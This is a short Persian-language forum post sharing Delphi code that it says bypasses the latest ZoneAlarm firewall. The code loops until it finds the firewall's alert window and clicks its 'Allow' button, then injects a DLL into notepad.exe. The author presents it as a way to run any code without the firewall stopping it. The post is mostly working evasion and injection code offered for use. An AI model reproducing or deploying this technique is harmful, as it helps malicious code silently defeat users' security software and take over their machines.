ايران ويج

کد: 
//Coded By Arash Veyskarami

procedure DisZone;

var

ZoneHandle:Hwnd;

begin

while true do

begin

ZoneHandle:=FindWindow('ZPUIWin','Alert');

ZoneHandle:=FindWindowEx(ZoneHandle,0,'ZPUIWin',nil);

ZoneHandle:=FindWindowEx(ZoneHandle,0,'Button','Allow');

if ZoneHandle > 0 then

begin

PostMessage(ZoneHandle,BM_CLICK,0,0);

Break;

end;

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

var

Tid:Dword;

begin

CreateThread(nil,0,@DisZone,nil,0,Tid);

InjectDll('c:\test.dll',NameToPID('notepad.exe'));

end;

سلام
با کد فوق میتونید زون الارم (آخرین ورژن) رو بایپس کنید و هر کدی که خواستید اجرا کنید بدون اینکه جلوی کار شما رو بگیره
فقط لازمه پروسیجر بالا رو قبل از اجرای کد قرار بدید تا زون آلارم خفه بشه.

veyskarami